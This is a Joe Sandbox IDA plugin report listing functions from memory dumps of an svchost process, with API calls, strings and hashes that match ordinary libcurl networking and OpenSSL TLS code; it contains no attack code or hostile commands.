Opcode Fuzzy Hash: b4fd45c842d3ddb22811912ea25257d44cc47ab26ce588713fff448be1502e61
Instruction Fuzzy Hash: 29122A36B0AF8286EB98EF25D5A02A873A5FB48B44F044135DF5D57366DF3AE460C314

Function 00007FFDA55BB470 Relevance: 49.2, APIs: 19, Strings: 9, Instructions: 177
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00007FFDA55BB498
WSACleanup.WS2_32 ref: 00007FFDA55BB4B3
GetModuleHandleW.KERNEL32 ref: 00007FFDA55BB504
GetProcAddress.KERNEL32 ref: 00007FFDA55BB530
wcspbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55BB54A
LoadLibraryW.KERNEL32 ref: 00007FFDA55BB56F
GetProcAddress.KERNEL32 ref: 00007FFDA55BB58C
LoadLibraryW.KERNEL32 ref: 00007FFDA55BB5A2
GetSystemDirectoryW.KERNEL32 ref: 00007FFDA55BB5B8
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BB5D4
GetSystemDirectoryW.KERNEL32 ref: 00007FFDA55BB5E8
LoadLibraryW.KERNEL32 ref: 00007FFDA55BB654
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BB660
GetProcAddress.KERNEL32 ref: 00007FFDA55BB68C
GetModuleHandleA.KERNEL32 ref: 00007FFDA55BB6A5
GetProcAddress.KERNEL32 ref: 00007FFDA55BB6CD
GetProcAddress.KERNEL32 ref: 00007FFDA55BB6E4
GetProcAddress.KERNEL32 ref: 00007FFDA55BB6FB
QueryPerformanceFrequency.KERNEL32 ref: 00007FFDA55BB75C

Strings

GetAddrInfoExW, xrefs: 00007FFDA55BB6EA
AddDllDirectory, xrefs: 00007FFDA55BB582
FreeAddrInfoExW, xrefs: 00007FFDA55BB6C3
iphlpapi.dll, xrefs: 00007FFDA55BB536
GetAddrInfoExCancel, xrefs: 00007FFDA55BB6D3
LoadLibraryExW, xrefs: 00007FFDA55BB51E
kernel32, xrefs: 00007FFDA55BB4EB
ws2_32, xrefs: 00007FFDA55BB69E
if_nametoindex, xrefs: 00007FFDA55BB682

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: AddressProc$LibraryLoad$DirectoryHandleModuleSystem$CleanupFrequencyPerformanceQueryStartupfreemallocwcspbrk
String ID: AddDllDirectory$FreeAddrInfoExW$GetAddrInfoExCancel$GetAddrInfoExW$LoadLibraryExW$if_nametoindex$iphlpapi.dll$kernel32$ws2_32
API String ID: 1741924799-1796637598
Opcode ID: 2697f331b37d98f652b4482058136af72a4de187b0d93a3241bab0ceee7d76f6
Instruction ID: aa7bdd69633c080d9c2e313185acca7e189bcd9d8ec180a0bd63f56cf5815f7c
Opcode Fuzzy Hash: 2697f331b37d98f652b4482058136af72a4de187b0d93a3241bab0ceee7d76f6
Instruction Fuzzy Hash: 5181632AB1B68AC2EF62DF11E4243B92391BF4AF90F494134C94E03796EF7CE5158708

Function 00007FFDA5572B20 Relevance: 46.8, APIs: 31, Instructions: 251
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5572B5F
memset.VCRUNTIME140 ref: 00007FFDA5572BB3
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5572BF9
InitializeCriticalSectionEx.KERNEL32 ref: 00007FFDA5572C13

Part of subcall function 00007FFDA55B6B40: socket.WS2_32 ref: 00007FFDA55B6B7C

closesocket.WS2_32 ref: 00007FFDA5572C5A
DeleteCriticalSection.KERNEL32 ref: 00007FFDA5572C74
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5572C7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5572C8B
closesocket.WS2_32 ref: 00007FFDA5572CAF
memset.VCRUNTIME140 ref: 00007FFDA5572CC0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5572CCF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA5572CD5
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA5572D15
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5572D32
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA5572D3B
MultiByteToWideChar.KERNEL32 ref: 00007FFDA5572DA9
MultiByteToWideChar.KERNEL32 ref: 00007FFDA5572DDC
swprintf_s.MSPDB140-MSVCRT ref: 00007FFDA5572E03
CreateEventW.KERNEL32 ref: 00007FFDA5572E23
EnterCriticalSection.KERNEL32 ref: 00007FFDA5572E60
LeaveCriticalSection.KERNEL32 ref: 00007FFDA5572E7D
CloseHandle.KERNEL32 ref: 00007FFDA5572E9A
GetAddrInfoExW.WS2_32 ref: 00007FFDA5572EE6
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA5572F28
CloseHandle.KERNEL32 ref: 00007FFDA5572F3A
GetAddrInfoExCancel.WS2_32 ref: 00007FFDA5572F4A
WaitForSingleObject.KERNEL32 ref: 00007FFDA5572F58
CloseHandle.KERNEL32 ref: 00007FFDA5572F61
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5572F87
closesocket.WS2_32 ref: 00007FFDA5572F9B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5572FB2

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$CriticalSection$CloseHandleclosesocket$AddrByteCharInfoMultiWide_errno_strdupmemset$CancelCreateDeleteEnterEventInitializeLeaveObjectSingleWaitcallocmallocsocketswprintf_s
String ID:
API String ID: 416132278-0
Opcode ID: b754e2acbba8f62ce28666c0b1cd78244c23c721d766d0c8adfa948de88007ba
Instruction ID: c0eced328a4a409a8789950e4bdffcfe0ac41b069c319936504a66e477b96b05
Opcode Fuzzy Hash: b754e2acbba8f62ce28666c0b1cd78244c23c721d766d0c8adfa948de88007ba
Instruction Fuzzy Hash: 22C1AF3A70AB8A82E756DF21E86436973A0FF46F54F444635EA6E03B92DF3CE0548314

Function 00007FFDA55C2780 Relevance: 46.1, APIs: 14, Strings: 12, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

NTLM picked AND auth done set, clear picked, xrefs: 00007FFDA55C30C5
Re-using existing connection with %s %s, xrefs: 00007FFDA55C2F34
host, xrefs: 00007FFDA55C2F26
(, xrefs: 00007FFDA55C30E1
anonymous, xrefs: 00007FFDA55C293B
No more connections allowed to host: %zu, xrefs: 00007FFDA55C2FE1
NTLM-proxy picked AND auth done set, clear picked, xrefs: 00007FFDA55C30F3
ftp@example.com, xrefs: 00007FFDA55C2944
proxy, xrefs: 00007FFDA55C2F1F
No connections available., xrefs: 00007FFDA55C2FED
No connections available in cache, xrefs: 00007FFDA55C314B
(, xrefs: 00007FFDA55C30B4

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: ($($NTLM picked AND auth done set, clear picked$NTLM-proxy picked AND auth done set, clear picked$No connections available in cache$No connections available.$No more connections allowed to host: %zu$Re-using existing connection with %s %s$anonymous$ftp@example.com$host$proxy
API String ID: 0-3942307397
Opcode ID: 1733cf3c4f71a555df5f6a50032d9b8bb588882759e49a2dea7c43c5f06a7732
Instruction ID: 7a9c9e3f20a27420523828eedfdedad418a2a04754a3aa8ba8995e96c5b17d0f
Opcode Fuzzy Hash: 1733cf3c4f71a555df5f6a50032d9b8bb588882759e49a2dea7c43c5f06a7732
Instruction Fuzzy Hash: C042852AB0A78A96EB569F25E5203BA63A4FB42F84F084035DE8D47793DF3CF4548354

Function 00007FFDA5577EE0 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 292
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFDA55BF210: QueryPerformanceCounter.KERNEL32(?,?,00000000,00007FFDA55AC534), ref: 00007FFDA55BF227

Part of subcall function 00007FFDA557B240: inet_ntop.WS2_32 ref: 00007FFDA557B27A
Part of subcall function 00007FFDA557B240: htons.WS2_32 ref: 00007FFDA557B288

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA5577F6B
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA5577F79
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA5577F81

Part of subcall function 00007FFDA55BA280: GetLastError.KERNEL32 ref: 00007FFDA55BA2A3
Part of subcall function 00007FFDA55BA280: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55BA2AB

setsockopt.WS2_32 ref: 00007FFDA5578038
setsockopt.WS2_32 ref: 00007FFDA55780A5
WSAGetLastError.WS2_32 ref: 00007FFDA55780AF
getsockopt.WS2_32 ref: 00007FFDA557815D
setsockopt.WS2_32 ref: 00007FFDA557818C
setsockopt.WS2_32 ref: 00007FFDA55781D6
WSAGetLastError.WS2_32 ref: 00007FFDA55781E0
WSAIoctl.WS2_32 ref: 00007FFDA557825E
WSAGetLastError.WS2_32 ref: 00007FFDA5578268
closesocket.WS2_32 ref: 00007FFDA5578367

Strings

Failed to set SIO_KEEPALIVE_VALS on fd %qd: errno %d, xrefs: 00007FFDA557826E
Failed to set SO_KEEPALIVE on fd %qd: errno %d, xrefs: 00007FFDA55781E6
Could not set TCP_NODELAY: %s, xrefs: 00007FFDA55780C9
Trying %s:%d..., xrefs: 00007FFDA5578047
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00007FFDA5577F9E
cf_socket_open() -> %d, fd=%qd, xrefs: 00007FFDA5578377
@, xrefs: 00007FFDA55780E6
Trying [%s]:%d..., xrefs: 00007FFDA557803E

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLast_errnosetsockopt$CounterIoctlPerformanceQueryclosesocketgetsockopthtonsinet_ntop
String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$Could not set TCP_NODELAY: %s$Failed to set SIO_KEEPALIVE_VALS on fd %qd: errno %d$Failed to set SO_KEEPALIVE on fd %qd: errno %d$cf_socket_open() -> %d, fd=%qd$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 2614696814-935189632
Opcode ID: 7b22c27c6eaf712f2131df2c9eab57348eab0c49bcdbf157eae59c86ed5bb559
Instruction ID: 208123dd4b90ed6b19fe21104a3289dbb38e63bec07603a71b1cfbc3064bcde2
Opcode Fuzzy Hash: 7b22c27c6eaf712f2131df2c9eab57348eab0c49bcdbf157eae59c86ed5bb559
Instruction Fuzzy Hash: 96D1CD3AB0D68A96EB1ACF65E4643AE67A0FB46F84F404531DA4D43B96DF3CE044C708

Function 00007FFDA37959C0 Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FFDA37959E6
GetLastError.KERNEL32 ref: 00007FFDA37959F1

Part of subcall function 00007FFDA3795DC0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FFDA3795EED,?,?,?,?,00007FFDA37943A0), ref: 00007FFDA3795DCC

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3795A10

Strings

could not get junction for "%s": %s, xrefs: 00007FFDA3795AF9

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: _errno$AttributesErrorFileLast
String ID: could not get junction for "%s": %s
API String ID: 3917093391-640641469
Opcode ID: b275945d134fbdca25bfaa522fef7c4b1b215dbe53b10296cbeeaebf84d4fd8f
Instruction ID: 96769f31d509f1446a1f284ec10a26067842206f90e938f7a577d6b359f5b9f8
Opcode Fuzzy Hash: b275945d134fbdca25bfaa522fef7c4b1b215dbe53b10296cbeeaebf84d4fd8f
Instruction Fuzzy Hash: 04619421B0E79296F7A09F20A86426977A2FB45774F404335DA6D23BE6CF3ED414C708

Function 00007FFDA3381310 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 345COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00007FFDA33A2E39), ref: 00007FFDA33813BB
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00007FFDA33A2E39), ref: 00007FFDA33813D3
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00007FFDA33A2E39), ref: 00007FFDA33813F4
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00007FFDA33A2E39), ref: 00007FFDA338150F
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00007FFDA33A2E39), ref: 00007FFDA3381527
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,00007FFDA33A2E39), ref: 00007FFDA3381863
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,00007FFDA33A2E39), ref: 00007FFDA338187B

Strings

tls_write_check_pending, xrefs: 00007FFDA3381514
ossl_early_data_count_ok, xrefs: 00007FFDA33813C5
ssl3_write_bytes, xrefs: 00007FFDA338183C, 00007FFDA3381868
ssl\record\rec_layer_s3.c, xrefs: 00007FFDA33813CC, 00007FFDA33814AE, 00007FFDA3381520, 00007FFDA33817AB, 00007FFDA33817E8, 00007FFDA3381843, 00007FFDA3381874

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug
String ID: ossl_early_data_count_ok$ssl3_write_bytes$ssl\record\rec_layer_s3.c$tls_write_check_pending
API String ID: 476316267-2399994965
Opcode ID: f8178f680d83f3a347cd805ee141a041ec28e9a68a41335fa12e187e3285071d
Instruction ID: 5d9302362da65ad9c0c7ed97468a46e3541651ed17a341aa3a4d584c50498497
Opcode Fuzzy Hash: f8178f680d83f3a347cd805ee141a041ec28e9a68a41335fa12e187e3285071d
Instruction Fuzzy Hash: 10E19E31F0EE8282EB50ABA5D4217B92292EF81B88F144531DE1D6B7D7DF3EE5858344

Function 00007FFDA5591AC0 Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 345COMMON

Download Yara Rule

APIs

inet_pton.WS2_32 ref: 00007FFDA5591C36
inet_pton.WS2_32 ref: 00007FFDA5591C54

Part of subcall function 00007FFDA55923F0: inet_pton.WS2_32 ref: 00007FFDA5592446
Part of subcall function 00007FFDA55923F0: inet_pton.WS2_32 ref: 00007FFDA5592461
Part of subcall function 00007FFDA55923F0: inet_ntop.WS2_32 ref: 00007FFDA5592527
Part of subcall function 00007FFDA55923F0: SimpleString::operator=.MSOBJ140-MSVCRT ref: 00007FFDA559255F

Strings

localhost, xrefs: 00007FFDA5591D30
Not resolving .onion address (RFC 7686), xrefs: 00007FFDA5591B53
.onion., xrefs: 00007FFDA5591B43
::1, xrefs: 00007FFDA5591EEF
.onion, xrefs: 00007FFDA5591B2F
Hostname %s was found in DNS cache, xrefs: 00007FFDA5591BAF
127.0.0.1, xrefs: 00007FFDA5591E0E
.localhost, xrefs: 00007FFDA5591D6C

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: inet_pton$SimpleString::operator=inet_ntop
String ID: .localhost$.onion$.onion.$127.0.0.1$::1$Hostname %s was found in DNS cache$Not resolving .onion address (RFC 7686)$localhost
API String ID: 1960554822-2421204314
Opcode ID: fb8889e82ae435d31b9017080458bc7e7dfa480ed605606885101f527b68be12
Instruction ID: 6892ac36cc5930fc7c15100d6a92365deb2dc23324799bb05ae185dc7dfa2e86
Opcode Fuzzy Hash: fb8889e82ae435d31b9017080458bc7e7dfa480ed605606885101f527b68be12
Instruction Fuzzy Hash: 5FE1AD6AF0AA9A85EB168F7195603BC27B2EB47F88F444235DE1D07786DF3CE0458308

Function 00007FFDA55B6B40 Relevance: 24.2, APIs: 16, Instructions: 173networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFDA55B6B7C
htonl.WS2_32 ref: 00007FFDA55B6BC8
setsockopt.WS2_32 ref: 00007FFDA55B6C06
bind.WS2_32 ref: 00007FFDA55B6C22
getsockname.WS2_32 ref: 00007FFDA55B6C3C
listen.WS2_32 ref: 00007FFDA55B6C5D
socket.WS2_32 ref: 00007FFDA55B6C76
connect.WS2_32 ref: 00007FFDA55B6C96
accept.WS2_32 ref: 00007FFDA55B6CE1
send.WS2_32 ref: 00007FFDA55B6D2D

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: socket$acceptbindconnectgetsocknamehtonllistensendsetsockopt
String ID:
API String ID: 3053784475-0
Opcode ID: edebabe36bea5bcd2954be1afe2cb4534247fba809b7458a7988c1750955324e
Instruction ID: 752ee9b64bc27ebe8bd23b623bd108d15d7b9ae58e28e3330731f19fd7591b2b
Opcode Fuzzy Hash: edebabe36bea5bcd2954be1afe2cb4534247fba809b7458a7988c1750955324e
Instruction Fuzzy Hash: 61819E27B19A998AFB21DF64D4283FC2361BF46B68F410730DE6D06BD6EF3891468344

Function 00007FFDA3386A60 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3386A94
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3386AAC

Part of subcall function 00007FFDA3387530: ERR_vset_error.LIBCRYPTO-3-X64(?,?,00007FFDA3383310,?,00007FFDA3382C46), ref: 00007FFDA338755E

SetLastError.KERNEL32 ref: 00007FFDA3386B58
BIO_write.LIBCRYPTO-3-X64 ref: 00007FFDA3386B9C
BIO_test_flags.LIBCRYPTO-3-X64 ref: 00007FFDA3386BBA

Strings

tls_write_records, xrefs: 00007FFDA3386A99
ssl\record\methods\tls_common.c, xrefs: 00007FFDA3386AA5, 00007FFDA3386C6A, 00007FFDA3386CDF
tls_retry_write_records, xrefs: 00007FFDA3386C5E

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: ErrorLastO_test_flagsO_writeR_newR_set_debugR_vset_error
String ID: ssl\record\methods\tls_common.c$tls_retry_write_records$tls_write_records
API String ID: 1843479370-2458201149
Opcode ID: 5a0e7b9a21a6a13af6988486327915390eef1c9b2d16b54942bd54142d920185
Instruction ID: 8b4d29f3109ef8d37d1ce97b45eb11ddd77f47b7666984ff8eb01c6c30309a9d
Opcode Fuzzy Hash: 5a0e7b9a21a6a13af6988486327915390eef1c9b2d16b54942bd54142d920185
Instruction Fuzzy Hash: 5871A262B0EE5183E794AB66D5603B823A6FB84B44F140531CF1D63B96DF3BE4A1C308

Function 00007FFDA333E220 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333E2AD
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA333E2E4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA333E2FC
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFDA333E30D
BUF_MEM_free.LIBCRYPTO-3-X64 ref: 00007FFDA333E349
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFDA333E37C
X509_free.LIBCRYPTO-3-X64 ref: 00007FFDA333E39A
X509_VERIFY_PARAM_move_peername.LIBCRYPTO-3-X64 ref: 00007FFDA333E3B6
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333E3CF

Strings

ssl\ssl_lib.c, xrefs: 00007FFDA333E299, 00007FFDA333E2F5, 00007FFDA333E3C2
ossl_ssl_connection_reset, xrefs: 00007FFDA333E2E9

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_free$M_freeM_move_peernameR_newR_set_debugR_set_errorX509_X509_freeX_free
String ID: ossl_ssl_connection_reset$ssl\ssl_lib.c
API String ID: 1979470287-3605862542
Opcode ID: 64869083f6447652d00b06199bb98fb12f1af2d577d0d16ad5931df5c3789ef0
Instruction ID: b93b2d087dd9259f338fc1fd85b9c37158102fe182a0ac0a8a13d4a0ba17699c
Opcode Fuzzy Hash: 64869083f6447652d00b06199bb98fb12f1af2d577d0d16ad5931df5c3789ef0
Instruction Fuzzy Hash: BB519F32B0EB8281E750FF26D4602AD73A5FF84B98F084136DA4D5B7AACF39D4418714

Function 00007FFDA3388B90 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

BIO_free.LIBCRYPTO-3-X64(-0000001F,00007FFDA33869C0,?,00007FFDA3382462), ref: 00007FFDA3388BB4
BIO_free.LIBCRYPTO-3-X64(-0000001F,00007FFDA33869C0,?,00007FFDA3382462), ref: 00007FFDA3388BBD
BIO_free.LIBCRYPTO-3-X64(-0000001F,00007FFDA33869C0,?,00007FFDA3382462), ref: 00007FFDA3388BC6
CRYPTO_free.LIBCRYPTO-3-X64(-0000001F,00007FFDA33869C0,?,00007FFDA3382462), ref: 00007FFDA3388BDF
EVP_CIPHER_CTX_free.LIBCRYPTO-3-X64(-0000001F,00007FFDA33869C0,?,00007FFDA3382462), ref: 00007FFDA3388C05
EVP_MD_CTX_free.LIBCRYPTO-3-X64(-0000001F,00007FFDA33869C0,?,00007FFDA3382462), ref: 00007FFDA3388C11
OPENSSL_cleanse.LIBCRYPTO-3-X64(-0000001F,00007FFDA33869C0,?,00007FFDA3382462), ref: 00007FFDA3388C35
CRYPTO_free.LIBCRYPTO-3-X64(-0000001F,00007FFDA33869C0,?,00007FFDA3382462), ref: 00007FFDA3388C60

Strings

ssl\record\methods\tls_common.c, xrefs: 00007FFDA3388BD2, 00007FFDA3388C53, 00007FFDA3388C78

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
